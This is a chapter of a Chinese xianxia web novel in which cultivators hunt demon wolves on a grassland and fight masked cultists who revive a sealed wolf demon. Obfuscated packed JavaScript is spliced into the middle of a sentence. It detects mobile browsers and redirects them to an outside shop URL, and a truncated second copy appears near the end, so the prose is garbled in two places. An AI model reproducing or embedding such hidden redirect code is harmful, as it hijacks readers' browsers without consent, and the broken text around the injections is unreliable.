少女道:“走吧,我帮你拿过去。” 那两桶奶挺重的,段星河道:“还是我来吧。” 他提起了羊奶,少女牵着两头羊,跟着他去了他们的营地。两人聊了一路,他得知这女孩儿跟父母、还有一个弟弟住在这里,等牛羊把草吃完了,又要去下一个地方。她父亲在夷州待过几年,会说汉话,教给了她和弟弟。 她叫其其格,是花朵的意思。段星河跟她说了自己的名字,其其格道:“喔,你的名字在我们这里叫敖登,是星星的意思。” 将近黄昏,赵大海生起了篝火,打算熬玉米粥。伏顺道:“大师兄去哪儿了,怎么还不回来?” 正说着,就见他带着个当地的小姑娘过来了。众人十分惊讶,伏顺道:“大师兄行啊,这么快就拐到媳妇了?” 段星河来到营地里,道:“我去前头牧民家买了两头羊,那些妖狼中有带着疯病的,以后别吃了。羊吃完了咱们再去买。” 其其格大方道:“羊奶免费,你们每天拿桶来接就行了。” 众人十分高兴,纷纷道:“多谢姑娘,你们草原上的人真好客。” 其其格被人夸的很高兴,转头见旁边坐着个穿红衣的少女,跟自己年纪差不多。她对她微微一笑,宋胡缨也点了点头,十分和气。 其其格把羊拴在马桩上,挥了挥手,转身走了。李玉真道:“段兄,有你的啊,这就找到吃的了。” 段星河在火边坐下了,道:“运气好而已,是人家来找我的。” 伏顺凑趣道:“那就是看上你了,想招你当上门女婿。” 段星河弹了他个脑瓜崩,道:“少胡说八道!” 天就要黑了,他们打算随便吃点,明天再宰羊。步云邪拿起饭盆,倒了两碗羊奶,把墨墨放了过去。兔狲闻见了香味,从宋胡缨的裙子底下钻出来,过去唏哩呼噜地喝起了奶。 那两个家伙只有吃饭的时候才能短暂地和平一会儿,吃饱了又要打架。赵大海观察了一下午了,道:“这小对眼儿怎么这么凶啊,养了多久了,一点也不亲人。” 宋胡缨啃了一口饼,道:“去年春天在林子里捡的,养了一年了。野性重,没办法。” 她虽然这么说,却没有抱怨的意思,反而觉得动物就该有动物的样子,野一点也很好。 吃完饭,众人早早的休息了。接下来的半个月里,他们每天就是出去猎妖狼,天黑了回来吃饭睡觉。有时候吃腻了野菜粥,就去其其格家买几头羊,羊肉烤着吃一天,下水洗干净了熬成羊汤,就着干粮又能吃一天。 其其格经常过来给他们送羊奶,这天早晨她来的时候,赵大海正在煮玉米粥。其其格放下奶桶,顺手拿起了食盆,给那两个小崽子倒上了奶。小对眼依旧一副六亲不认的模样,眼里只有食物,碗里满上就开始狂吃。 墨墨已经认得她了,喝完了奶,便扬起鼻子蹭其其格的手。它的鼻子凉凉的,其其格被它蹭的哈哈直笑,道:“瓜皮,别蹭了。” 李玉真洗完了脸回来,觉得很有意思,道:“你怎么知道它叫瓜皮?” 其其格道:“不是叫瓜皮吗,敖登阿哈告诉我的啊。” 李玉真已经知道敖登是星星的意思了,乌乐是云彩的意思,道:“阿哈是什么?” 其其格有点不好意思,没回答他。步云邪从旁边过来,道:“是哥哥的意思啊,好妹妹怎么说来着……敖登阿哈应该知道吧?” 段星河揉着眼从帐篷里出来,听见他调侃自己,没说什么。晨曦照过来,宋胡缨坐在一块大石头上编着辫子,后面的头发有点够不着。其其格没事做,过来道:“我帮你吧。” 宋胡缨便道:“好,谢谢。” 其其格给她把后面的头发梳顺了,编了几个小辫子扎起来。那情形十分养眼,伏顺远远地看着,很想过去搭几句话,又有点不好意思。 墨墨和小对眼打着架,飞檐走壁地从帐篷上窜过去,挠得噼里啪啦的。大家已经习惯了,看都懒得看。 他们已经打了八百来头妖狼,任务做的差不多了。段星河看今天有点阴,便道:“上午不出去了,在营地歇歇,下午看情况再去打猎。” 众人答应了,开始整理自己的内务。赵大海抱着个木盆出来洗衣服,两个姑娘低声聊着天,不知道在说什么。宋胡缨好像很有兴趣的样子,道:“这里就有?” “有啊,”其其格低头找了一会儿,从地上拔起了几根草,“就是这个,叫乌斯玛草,我阿妈就用这个染眉毛的。” 她说着在手上搓了几下,揉出汁液来,用手指轻轻地画在眉上。片刻草汁的颜色变深了,她的眉毛果然比没化的时候更浓,显得眼睛都明亮有神了。 宋胡缨也学着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462749|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的样子涂了眉毛,觉得十分有趣。伏顺鼓起勇气走过来,好奇道:“你为什么把眉毛连在一起?” 其其格道:“眉毛连在一起嫁的近,没人敢欺负我。” 伏顺道:“你多大了,这就考虑嫁人的事?” 其其格觉得他又干又瘦的,还缩头缩脑的有点猥琐,道:“你管我多大呢,我阿爸不让我离开他太远。” 伏顺说:“那你有喜欢的人么?” 其其格看着他道:“你问这么多干嘛?” “好奇嘛,”伏顺道,“你看咱们这些人都没婚约呢,比如你敖登哥哥,乌乐哥哥,都一表人才。有喜欢的吗,我帮你去说?” 其其格的脸微微一红,道:“没有,不用你多嘴。” 伏顺想了想,狐狸尾巴露了出来,道:“那你看我怎么样,我也没对象呢。我这人不挑,当上门女婿也行。” 其其格皱起了眉头,道:“你再胡说,信不信我叫我阿爸来打你!” 宋胡缨也扳起了脸,道:“你差不多一点啊,别找揍。” 伏顺一脸无辜道:“哎呀,我又没有恶意。窈窕淑女,君子好逑嘛。算了,当我没问过。” 他讪讪地走开了,嘀嘀咕咕地说:“涝的涝死,旱的旱死,多少也给别人留条活路啊。” 赵大海在远处搓着衣服,忍着笑道:“兄弟,人家长得跟朵花似的,你怎么敢去问的啊?” 伏顺有点恼火,道:“我也挺好的啊,身体健康,年纪又轻,还是吃皇粮的,有什么不好的?” 赵大海停下来认真看了他片刻,道:“长得矮了点,也瘦了点……还是多吃点饭吧,二十三还能窜一窜呢,等长了大个再去说媳妇吧。” 伏顺翻了个白眼,道:“你长这么大个,也没见有谁愿意跟你。” 赵大海的心愿相当朴实,道:“我能挣钱回去养活我老娘就行了,媳妇有没有的都无所谓。” 人越缺什么就越想要什么,从小就没有女孩儿愿意搭理伏顺。他攥起了拳头,执拗道:“我就是要娶媳妇,早晚娶个漂亮老婆给你们瞧瞧!” 步云邪查看着前阵子采的药草,都已经晾干了。他拿了个铜臼,慢慢地把药锤成碎末。听见其其格道:“这里的妖狼坏得很,吃了大家很多牛羊。牧民们一去撵它们就逃走,杀又杀不绝。你们来帮忙,我们真的很高兴。” 宋胡缨道:“应该的,反正有钱赚嘛。” 其其格道:“你们快把它们抓完了吧?” 宋胡缨寻思着最近的妖狼确实比之前难找多了,再过几天应该就能杀干净了。她道:“这些妖怪是哪来的?” 其其格道:“据说它们的祖先是住在胭脂山里的大妖,叫炽尊狼姥,它被天神封印在石头里,一直在沉睡。不过没人见过它,只是传说而已。” 段星河想起了在神州风物志上看过的胭脂山大妖,产生了兴趣,过来道:“能讲讲吗?” 其其格想了想,道:“炽尊狼姥原本是草原上的公主,她的父亲骁勇善战,是草原的大王。她年轻的时候十分美丽,但脾气傲慢,经常鞭打战俘,让他们互相厮杀取乐,赢了的人亲吻她的靴子就可以获得自由。很多勇士慕名来向她求亲,她都瞧不上,又奚落身边的姐妹长得不如自己漂亮。后来妖魔把她掳走了,她被妖魔吞噬成为了它的一部分,头上长出了像羊一样的角,身上披着野兽的毛皮,嘴里长出了獠牙。我们这里很多壁画上有她的模样,蛮吓人的。” 她说着捡起一根树枝,在泥地上划了几下,勾勒出一个人头狼身,长着羊角的怪物。 其其格道:“她是这里妖狼的祖先,又长着一身炽焰似的红毛,便被人称作炽尊狼姥了。她觉得自己是公主,身份高贵,但别人觉得她是怪物。她既自卑又自负,最后变成了傲慢本身。如果谁家的女儿或者儿子太骄傲了,不肯踏实干活,家里的长辈就说,要变成人头狼身的怪物了。” 众人若有所思,胭脂山在远处起伏,红色的岩石像火焰一样,隔着一层薄薄的白雾,透出一股神秘的气息。宋胡缨道:“它现在还在那里沉睡吗?” “应该是吧,”其其格道,“大家都不敢靠近那里。最近老是地震,族里的老人说是魔神要苏醒了的征兆。你们可一定要小心,遇上打不过的东西就赶紧跑。” 她的神色紧张,很替他们担心。段星河心里一暖,道:“我们会小心的。” 休息了半日,段星河等人又开始捕猎。妖狼的数量越来越少了,他们常常在草原上转大半天也看不到一两只。 这天过了午,天色阴沉下来,草原上弥漫着一股潮湿的气息,好像要下雨了。伏顺道:“大师兄,咱们是不是把狼抓干净了?” “抓干净好啊,”段星河道,“萨满也不稀罕什么狼角,派咱们来不就是为了给它抓个断子绝孙么?” 伏顺道:“这可不好说,只要留下一对公母,生下一窝两窝的,明年就又泛滥起来了。” 段星河挺想得开,道:“咱们已经尽力了,那些事就交给他们自己想办法好了。” 李玉真道:“你们说,咱们把妖狼抓的这么惨,它们的祖宗知道了该不会生气吧?” 段星河想起了其其格画的那只人头狼身的怪物,道:“它不是在沉睡么,被封印在胭脂山里都好几百年了,应该没有这么轻易醒来吧。” 他说着掂了掂手里的袋子,今天又打到了七对角。来了这段时间,他们已经攒了好几麻袋骨角了。宋胡缨也拿石灰腌了好几筐狼尾巴,差不多该交差去了。 段星河道:“咱们杀了九百八十多只狼了吧?” 宋胡缨一向一丝不苟的,记得十分清楚,道:“九百八十九只,加上今天的七只,已经有九百九十六只了。” 伏顺兴奋道:“好耶,那再干一天就行了。我羊肉都吃够了,浑身一股膻气味,赶紧回中原去吧!” 他身上不光有羊膻味,还有脚臭和浓浓的汗味。赵大海每天跟他睡在一个帐篷里,被熏得够呛,道:“回中原还早着呢,你就不能先洗洗澡,附近不是有河吗?” 伏顺还惦记着其其格,有点忸怩,道:“我怕有人偷看我。” 赵大海哈哈一笑,道:“得了吧,就你长得跟排骨似的,谁要看!” 段星河低头闻了闻自己身上,感觉还行。他十天前在河里洗了一回澡,最近差不多又捂馊了。行囊里还有皂豆,他道:“等会儿吃了饭去洗澡好了,谁要一起来?” 李玉真早就想洗了,连忙道:“我、我。” 步云邪道:“我也洗。” 赵大海道:“那我也……” 伏顺道:“你看行李,在河边坐着,免得有人偷看。” 赵大海不满道:“每次都让我值班。” 伏顺道:“那咱俩第二拨,我和你一起。” 赵大海高兴了一些,道:“好。” 他们都在河边洗,营地正好没人。宋胡缨打算接点水在营地洗澡,到时候把小对眼放在帐篷门口守着,谁敢偷看就挠谁。 一群人往回走去,天边的乌云越发阴沉了。远处忽然起了一阵黑色的旋涡,李玉真指着胭脂山方向道:“你们看!” 一道通天彻地的龙卷风席卷过来,放牧牛羊的牧民拔腿就跑,眨眼间就被气流吞噬了。 狂风吹得到处一片昏天黑地,牛羊被卷的飞上了天。远处传来牲畜凄厉的嘶鸣声,无数草屑沙土在空中飞旋。众人心里慌了起来,附近一马平川的要躲都没地方。风就要吹过来了,段星河一挥手,拔腿往营地奔去,道:“快跑!” 天上稀里哗啦地下起了雨,众人跑回去时都被浇成了落汤鸡。这边的风没有那么大,营地被大雨淋得一塌糊涂。墨墨和小对眼被浇了个透心凉,毛乱七八糟地贴在身上,一脸茫然地守着他们的营地。伏顺扎帐篷的时候偷懒了,木桩没打结实,随便找了几块石头压着边角,大风一吹就跑了。 他骂了声晦气,和赵大海去河沟里把帐篷捞了回来,上头满是泥水。大家站在雨里,头发和衣服湿淋淋地贴在身上,冻得瑟瑟发抖。 段星河抹了一把脸,睫毛上很快又沾满了水滴。伏顺烦躁道:“这破雨。” 李玉真道:“想开点吧,起码不用专门去洗澡了。” 伏顺道:“你没听过吗,淋了雨不洗澡,头上会长虱子的。” 众人站在一起,挨得近了还能暖和一点。宋胡缨的衣裙贴在身上,被雨一浇,身体的曲线都显出来了。雨水顺着锁骨往下滑去,淌进了她的胸口。李玉真不经意间转过头去,正好跟她对上了眼。 宋胡缨一只手搂着小对眼,觉得他呆呆的模样有点怪,道:“怎么了?” 李玉真心跳的莫名快了些,感到一阵口干舌燥,道:“没……没什么。” 28.燕丘 二 她的身材结实苗条,红裙子湿漉漉地贴在身上,给李玉真这样一个老实的纯情少年造成了极大的冲击。他回过神来,意识到自己这样太不君子了,连忙别开了眼。 宋胡缨好像不太在意男女之别,觉得没什么好看的。然而李玉真想起了她那个威风八面的大将军父亲,觉得这情形若是让他见了,肯定要把自己这些人修理一顿。 他默默地挡在了她身前,道:“没什么,你冷不冷?” 宋胡缨淡淡道:“还行,这雨什么时候停?” 段星河抬头看天,发现龙卷风已经消失了,雨还在淅淅沥沥地下着,有变小的趋势。 雨水沿着他们挖的排水沟向下淌,三个帐篷被淹了两个。一群人涌进了中间的大帐篷里,挤得像一窝雏鸟。段星河道:“等一会儿吧。” 李玉真自觉地担当起护花使者,把宋胡缨跟其他几个大男人隔开。但他属实是想多了,宋大姑娘抡起斩马/刀来一个能打十个,不需要任何人保护。她望着雨幕,皮肤被水汽沾染,显得格外白皙。 这么干坐着难免心猿意马,李玉真没话搭话,道:“宋姑娘,你的道心是什么?” 宋胡缨搂着小对眼道:“自由。” 李玉真有些意外,她天天练武,他还以为她要追求的是天下第一之类的,没想到这么简单。他道:“那……你想要的自由是什么样的?” 宋胡缨抬眼望着远处,想起了自己在大新的家人,将军府富丽堂皇,她的身份贵重,却被重重规矩约束着。她道:“自由就是想去哪儿就去哪儿,想做什么就做什么,不受任何束缚。” 李玉真道:“所以你出来,就是为了自由?” 宋胡缨嗯了一声,转头看他道:“你呢?” 李玉真笑了一下,道:“我爹老嫌弃我胆小没用,我就想出来闯个名堂。自不自由的我倒是没想过,就想练练胆子,当个勇敢的人。” 伏顺插嘴道:“这个容易,你改个名就行了。以后你就叫李大胆,喊上一年,保准胆子就大起来了。” 李玉真感觉不太好听,敬谢不敏道:“算了吧,我现在这名儿就挺好的。” 等了小半个时辰,雨渐渐停了。大家松了口气,花了点时间把营地收拾起来,凑合着过了一夜。 次日白天,他们又出去猎狼,终于凑够了一千对角。伏顺哼着歌,兴奋道:“兄弟们,要回去喽!” 赵大海调侃道:“你不想其其格了吗?” 伏顺道:“嗨,中原的女子更多,天涯何处无芳草嘛。” 几个牧民们大声呼喊着,从远处经过。一个年轻人骑着马过来,道:“你们见到一个牧民了吗,长这么高,穿一身灰衣裳,脸上一圈络腮胡子,昨天刮大风的时候跟牛羊一起不见了。” 段星河摇了摇头,道:“没见。” 今天一整天他们遇到了好几个寻找家人的牧民,看来昨天那场狂风卷走了不少人。青年有些失望,骑着马去别处寻找了。太阳渐渐落山了,段星河等人回到营地,点起了篝火。众人烤了剩下的羊肉吃了,打算好好睡一觉,明天一早去找萨满交任务。 这时候其其格急急忙忙地跑过来了。她喘着气道:“谢天谢地你们没事。附近有不少牧民和牛羊都被龙卷风吹走了,大家找了一天,到现在还没找回来呢。” 段星河道:“我们没事,你们还好吧?” 其其格道:“我们家也没事,我阿爸白天帮忙去找人了,直到现在也没回来。我和额吉有点担心,能不能请你们去看看?” 段星河站了起来,道:“他去哪儿了?” 其其格道:“昨天的龙卷风消失在胭脂山那边,大家说牛羊和牧民是被大妖抓走了。有胆子大的过去看了,但我阿爸他们也就是力气大一点,万一遇到妖怪恐怕打不过。” 她知道段星河他们会道法,把所有的希望都寄托在他们身上。自己这些人在这里待了一个月,这里的牧民们对他们都很和气,其其格的阿爸也总让她送奶酪和羊奶过来,很照顾他们。段星河道:“那你先回去,我们去胭脂山看看。” 其其格道:“多加小心啊。” 段星河点头道:“好。” 胭脂山在草原的北方,起伏的山脉掩映在深沉的夜色中。赤红色的岩石如同女子梳妆的胭脂颜色,在月光的照耀下,弥漫着一种妖异的气氛。 段星河等人悄悄来到了胭脂山跟前。前方有一片低矮的树林,他一挥手,示意大家藏进去。虽然来了一个月了,他们一直没有靠近这里。牧民们慑于胭脂山大妖的传说,没事也不敢来这边放牧,若不是龙卷风把人卷走了,他们也不会冒险过来找人。 龙卷风连人带羊卷走一批,一群人来找,又一直没回去,其中肯定有蹊跷。众人躲在树丛里,观察着周围情况。四下都是峭壁,前方两座山头掩着个山谷,有光隐隐约约地透出来。 伏顺有点害怕,小声道:“大师兄,这山里该不会真有妖怪吧?” 段星河平静道:“有又怎么样,咱们出来不就是抓妖的么?” 他已经到了金丹期,艺高人胆大。但伏顺跟他不能比,还惦记着回家娶媳妇,紧张道:“万一真有妖怪,你们可得保护我啊。” 赵大海道:“你站我后头好了。” 他身板结实,十分勇猛,常常头一个冲锋,伏顺跟在他后面反而吃亏。他道:“不了,我跟在李兄后面。” 李玉真还想保护宋胡缨,看不过来这么多人,道:“兄弟,你已经筑基了,对自己有点信心行不行?” 几个人说着话,步云邪忽然道:“嘘——” 山谷中飘来了低低的咏唱,曲调十分古怪,又透着一股阴邪之气。众人的耳膜像被刀子摩擦似的,感觉很不舒服。 “什么破动静?”伏顺下意识堵住了耳朵,那声音却像一条蛇一样,偏要往他的耳朵里钻。 其他人也很不舒服,李玉真默念清心咒,定住了心神。他回头看宋胡缨,却没想到她面无表情,好像还觉得别人有这么大反应很奇怪。 李玉真道:“你不难受?” 宋胡缨掏了掏耳朵,道:“就是跟蚊子叫似的,嗡嗡的有点烦人。” 李玉真发现她真的天赋异禀,不但力气大,定力也特别强,说不定比她哥哥还厉害。段星河和步云邪的修为高一些,对那声音的感觉不敏感。看来那山谷里有人,段星河站了起来,道:“过去看看。” 众人跟着他来到谷口,远远地望见山谷中有一片空地,正前方摆着几个牛头、羊头,还有好几根打在地里的木桩,形成一个祭坛的模样。十来个人被绳子捆在木桩上,嘴里塞着布,却是被当做了祭祀的人牲。 众人都吃了一惊,原来那些失踪的牧民和牛羊在这里。伏顺睁大了眼睛,道:“那不是其其格的阿爸么?” 十来个人牲中,有一个身材高大,长着一张长方脸的汉子便是其其格的父亲,应该是来找人的时候被抓住了。他的妻子和儿女还不知道发生了什么事,在家里着急地盼他回去。其他人有老有少,都十分恐惧,扭着身体不住挣扎。 火光由远及近,一群白袍人举着火把走了过来。白色的人影绕着祭坛慢慢地行走,一边吟唱,不知道在举行什么神秘的仪式。 段星河看见那些白袍人的瞬间,浑身的汗毛都立起来了。又是那帮阴魂不散的家伙,到处作祟。 夜空中的乌云散去了,一片清辉洒下来,照亮了整个山谷。段星河抬起头,月亮圆得完美无瑕——今天正是十五,伥鬼活跃的日子。 一群白袍伥鬼在山谷中低声吟唱着,一边缓缓地绕着祭坛转圈。 段星河低声道:“它们在干什么?” 步云邪身为祭司,对这些很熟悉,道:“是在祭祀,要唤醒什么东西。” 段星河想起了其其格讲过的传说,忽然明白了,道:“他们要复活被封印的胭脂山大妖?” 一个伥鬼从腰间拔出一把刀,捅进了一头羊的肚子里。羊嘶声挣扎,身下的血越流越多。伥鬼把血接到一个桶里,用一只硕大的毛笔沾着,在空地中心画了一个奇怪的符号,周围用圆圈了起来。 其他伥鬼依旧围着祭坛转圈,吟唱的声音越来越大。骇人的气氛越来越浓,让人毛骨悚然,绑在柱子上的人牲忍不住哭了起来。黑红色的血迹微微一亮,发出嗡的一声响。 它们的仪式得到了回应,伥鬼们顿时兴奋起来,发出了一阵沉闷的欢呼声。它们脸上的面具白森森的,黑色的嘴像一道镰刀,一直咧到耳根,黑洞洞的眼里透着残忍的光。 带头的大伥提着刀,捅死了一头牛,把它开膛破腹,任它的血流淌在祭坛上。大伥又缓缓回过头,看向了绑在柱子上的人牲。 献过了羊和牛,向大妖献上的第三种祭品,便是人类了。绑在柱子上的牧民十分恐惧,摇着头不住挣扎,呜呜咽咽地哀求。再不动手就来不及了,段星河断然道:“把人救出来!” 众人跟着他从藏身之处冲了出去。赵大海从大幽来的时候专门买了一身犀牛皮甲,穿在身上刀枪不入。他还让铁匠给他锻造了一个厚实的钢铁盾牌,既能防御,抡起来还能削人脑瓜子,再也不用举着大锅跟人打架了。 赵大海举着盾牌,像一头斗牛一样撞到了伥鬼中,砰地一声把它们撞得东倒西歪。那些伥鬼中有些是万象门的活人,有些是真的鬼。赵大海这么一撞,活人摔了一地,鬼魂登时如烟雾一般消失了,片刻又像露珠一样凝聚起来,幽幽地漂浮在远处。 宋胡缨趁机一掠而上,抡起八尺长的斩马/刀,斩杀了两个披着白袍的人。她的兵刃名叫烈焰龙脊刀,是以火焰山中的矿石冶锻而成的,炽烈无比。刀斩过的地方火焰腾地燃烧起来,将那些真正的伥鬼也烧得放声惨叫,变成了一把飞灰。 她抡起斩马/刀就如同割草一般,所过之处血肉横飞。伏顺十分震惊,道:“厉害啊,不愧是先天打架圣体,女战神!” 宋胡缨一副冷淡的模样,觉得没什么大不了的,不爱听那些马屁。李玉真提着太极剑闯进战阵,也想大展一番身手。 一只伥鬼从侧面扑过来,伸着又黑又长的指甲朝他脸上挠过来。这要是挨上一下,必然会中尸毒,少说也要鼻青脸肿个把月。李玉真抵挡不及,预感到了自己要破相,下意识缩起了脖子。 一股灼热的气流扑面而来,斩马/刀重重挥过,烈焰将那只伥鬼烧得灰飞烟灭。李玉真感到了她身为将门之女的实力,佩服的五体投地。 他本来还想帮忙,现在却发现自己有点拖后腿。他道:“我能干什么?” 宋胡缨一刀砍翻一个伥鬼,冷冷道:“后头去。” 李玉真道:“我能打,你给我个机会——” 宋胡缨没空照应他,道:“别让我说第二遍。” 李玉真顿时怂了,道:“好嘞。” 他虽然打架的本事一般,胜在听话。那几个人在前头打的十分激烈,他干脆跟伏顺绕到后面去,趁机解救人质。李玉真割断了木桩上的绳索,把牧民们放了下来,一边道:“赶紧跑,能走一个是一个!” 伥鬼们向段星河等人围过来,赵大海大吼一声,举着盾牌撞飞了几个伥鬼,它们很快又爬了起来。段星河一剑斩过去,一个伥鬼惨叫着化作一把飞灰溅在人群中。对方虽然人多,但本事不大。段星河根本没把它们放在眼里,冷冷道:“都杀了!” 步云邪一拂衣袖,长剑斩出凌厉的寒光,瞬息间就杀了几个伥鬼。 伥鬼们眼看打不过,慌张起来,潮水一般向后退去,口中的咒语也停了。带头的大伥大声道:“别停,继续祈祷!” 有些伥鬼倒在地上,身体疼得不住发抖,还大声念着咒语。段星河跟那大伥打斗了片刻,那人的身段苗条,力量却比一般人都大,身上隐约散发着一股甜腻的香气,似乎是个女子。 段星河的心思一动,陡然一剑朝那人脸上划过去。那人的面具当啷一声掉在地上,露出花朵一般娇艳的容貌来,却是万象门的赤练使薛红玉。 伏顺远远望见了她,顿时觉得头痒起来,恨恨道:“怎么又是她!” 那个跟她形影不离的大个子赶了过来,粗声粗气道:“大姐,你没事吧?” 薛红玉冷笑道:“没事,就凭他们几个,能把我怎么样。” 段星河方才已经有这种预感了,会干这种事的人肯定是他们。他皱眉道:“昨天的龙卷风是你搞的鬼?” 薛红玉微微一笑,傲然道:“是又怎么样?” 段星河道:“你们想干什么?” 薛红玉抬头看着天上的圆月,道:“夜巡啊,教主派我们出来散播福祉,不行么?” 段星河冷冷道:“是散播邪恶吧?” 薛红玉把手一摊,一副无所谓的模样道:“你要非这么想,我也没办法。” 那么多牧民差点成了他们的祭品,她还在这里装无辜。段星河一剑斩过去,冷冷道:“少在这儿胡搅蛮缠,带着这帮鬼东西赶紧滚!” 薛红玉呦了一声,轻蔑道:“口气还挺大,你是姑娘的对手么?” 段星河如今到了金丹期,根本不怕她。两人过了几招,段星河手中的长剑把她的手震得嗡嗡直响。薛红玉没想到他年纪轻轻的,居然有这么强的修为,十分诧异。 她额头上渗出了冷汗,皱眉道:“喂,你都不会怜香惜玉的么,这么对一个弱女子!” “好个弱女子,”段星河漠然道,“这么浓的香也盖不住你身上的血腥味。吃了多少人,都腌入味了。” 薛红玉平常就靠吃双生蛊的血肉来修炼,对此十分敏感。她抬起衣袖来闻了闻,道:“你胡说,根本没有味道!” 大个子道:“大姐,你别听他的,他故意气你呢。” 步云邪一剑挥过来,铛地一下斩在了那大个子的刀上,道:“打架不专心,你想掉脑袋啊?” 段星河与薛红玉擦肩而过,脸旁的发丝飘了起来。他冷冷道:“血腥气太重了,给你冲个澡吧。” 他左手轻轻往长剑上一抹,一道幽紫的灵光绕着长剑旋转,一道透明的水流生了出来,随着他挥剑的轨迹,哗哗地向薛红玉攻过去。 那水是四正罡气化成的,有除祟的作用,对于这些邪修来说十分要命。薛红玉生怕沾着一星半点,极力躲避,喊道:“阿蚺,快来帮我!” 那大个子人如其名,就像一条巨大的蚺蛇。他嘴里答应着,却被步云邪打的连连后退,分身乏术。 薛红玉被四正罡气侵袭,身上的力量大为减退,心中又慌又怒。她原本还觉得这几个人没什么大不了的,如今看来,却是自己小瞧了他们。 她脖子上戴着一条黄金项链,挂着一个水滴形的坠子。那坠子通体漆黑,像是黑曜石雕琢而成的。她把坠子扯了下来,阿蚺看见了,道:“大姐,这东西能使了?” 薛红玉也不确定能不能使,只是被逼的没法子了,想试一试。她把灵力凝聚在手中,用力拉上面的铜环,坠子一动不动。她又用力拽了一下,表情咬牙切齿的,坠子依然没有反应。 段星河奇怪地看着她,道:“你干什么?” 他若不是这么盯着自己,薛红玉也不至于这么尴尬。她道:“关你什么事!” 段星河不跟她废话了,长剑朝她脖颈划去,要杀了这妖女以绝后患。薛红玉仓皇往后一躲,摔在了地上。她手中的黑曜石坠子嗖地划了一道弧线,不知飞到什么地方去了。 薛红玉气得咬紧了嘴唇,她费了这么大功夫,怎么舍得放弃。她抬头看着前方的山壁,只要把它召唤出来,这些人就不是自己的对手了。她吼道:“继续吟唱!” 一群人在祭坛上厮杀,不时有鲜血淌下来,融入地上的那个诡异的图案中。一个狂热的信徒倒在地上,干脆掏出了匕首,狠狠地往自己的大腿上扎了一刀,嘶吼着划出了一道又深又长的伤口。血汩汩地淌出来,蔓延在祭坛上。 牛、羊、人的祭品聚齐了,地上的图案嗡地一声响,黑色的光芒升腾起来。大地开始震颤,赤红的石壁裂开了一道缝隙,接着是第二道、第三道,裂纹纵横交错,不断有沙子和碎石崩落下来。 李玉真往后退了一步,道:“怎么回事?” “成功了!”、“邪神苏醒了!” 伥鬼们浑身颤栗,高高举起双臂,激动地迎接它们召唤的大妖。 一道又深又长的石缝从岩壁中裂开,发出了剧烈的轰鸣。石头四下崩落,黑色的光芒透了出来。 一只巨大的怪兽从岩石中一跃而出,漂浮在半空中。它头上生着一对羊角,长着狼的身体,胸前长着一道月牙般的白色花纹,背上生满了红色的鬃毛,却长着一张苍老的人脸。 烟尘散去,它重重地落在地上,高昂着头颅,显出一副傲慢的模样。 “炽尊狼姥!”、“苏醒了!伟大的傲慢之神,给他们点颜色瞧瞧!” 白衣伥鬼们极度兴奋,大声欢呼着。高大的妖魔站在他们面前,足有三丈高,巨大的阴影笼罩着面前的人们。伏顺有些害怕,躲在赵大海的盾牌后面,小声道:“得意什么,跟亲爹来了似的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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步云邪意识到只能放手一搏,神色认真起来,道:“我给你们护法,一炷香之内,速战速决!” 他双手结印,白色的衣袖无风自动,金色的光芒笼罩在几个人的身上。众人感觉自己的身体充满了力量,反应力也大幅提升,受到了他灵力的加持。 宋胡缨人狠话不多,一跃而起,抡着斩马/刀砍向了炽尊狼姥。大妖的皮毛被刀上的火焰灼伤了,散发出一阵焦糊的气味。它低头舔了一下爪子,神色十分轻蔑。 李玉真仰头看着它,道:“它是不是瞧不起咱们?” 大妖翻了个白眼,鼻孔喷出气来。伏顺道:“还真是。” 伥鬼从四面八方朝他们围过来,赵大海大吼一声,举着盾牌向前冲去,把它们撞出了个缺口。他抡起盾牌横劈竖砍,把敌人砸的一片血肉模糊。伏顺提着刀过去给他帮忙,道:“伥鬼就交给我们了!” 段星河从山壁上一跃而下,轻巧地跳到了赤尊狼姥的背上,一把揪住了它的鬃毛,道:“多久没洗澡了,毛打结成这样。” 大妖气得咆哮一声,扭过头来要咬他,却偏偏够不着。 步云邪喝道:“捆住它!” 他头上的发带飘飘荡荡地飞下来,直奔着炽尊狼姥而去。红色的发带骤然间变得有数丈长,一丈宽,嗖地一声勒住了大妖的身体。炽尊狼姥被勒的动弹不得,重重地摔在地上。 段星河趁机一剑朝它的后颈扎下去,宋胡缨也一跃上前,抡起斩马/刀朝它的脖子上砍过来。炽尊狼姥同时被两把兵刃伤了,发出一阵惊天动地的咆哮,激得山谷中不住震荡,石头稀里哗啦地砸了下来。 却邪被它挣得松脱开来,红绸飘落在地,竟也拿这大妖没办法。段星河跟宋胡缨被强烈的气流冲击出去,摔在了地上。 炽尊狼姥的脖颈上淌着血,十分愤怒,周身发出一阵黑色的灵光。 伏顺砍翻了一个伥鬼,杀了这一阵子手都抖了。他喘着气道:“要打到什么时候?” 赵大海道:“有大师兄在,不会有事的。” “小心——” 伏顺听见一阵惊呼,猛地回过头去,就见一道黑色的灵光呼啸着朝自己冲了过来,瞬息间就把他的身影吞没了。伏顺浑身都僵住了,心想:“完了完了,我命休矣!” 就在刹那间,一道金色的灵光倏然张开来,护住了他的身体。却是千钧一发之际,步云邪展开防御壁挡住了那一击。 他以一己之力挡在了众人身前,衣袍和发丝猎猎舞动,神情毫不畏惧。 炽尊狼姥一歪头,仿佛很意外,又觉得这人类有些胆色,居然敢跟自己正面刚。它硕大的爪子重重一拍地面,胸前那道白色的月牙微微一动,缓缓张开了一个黑洞,更加强悍的灵力从中直冲出来,撞到了金色的防御壁上。 双方的力量相差太大,步云邪的胸口一阵闷痛,就要坚持不住了。此时忽然感到一股强大的灵力从身后传来,帮他顶住了那股力量。 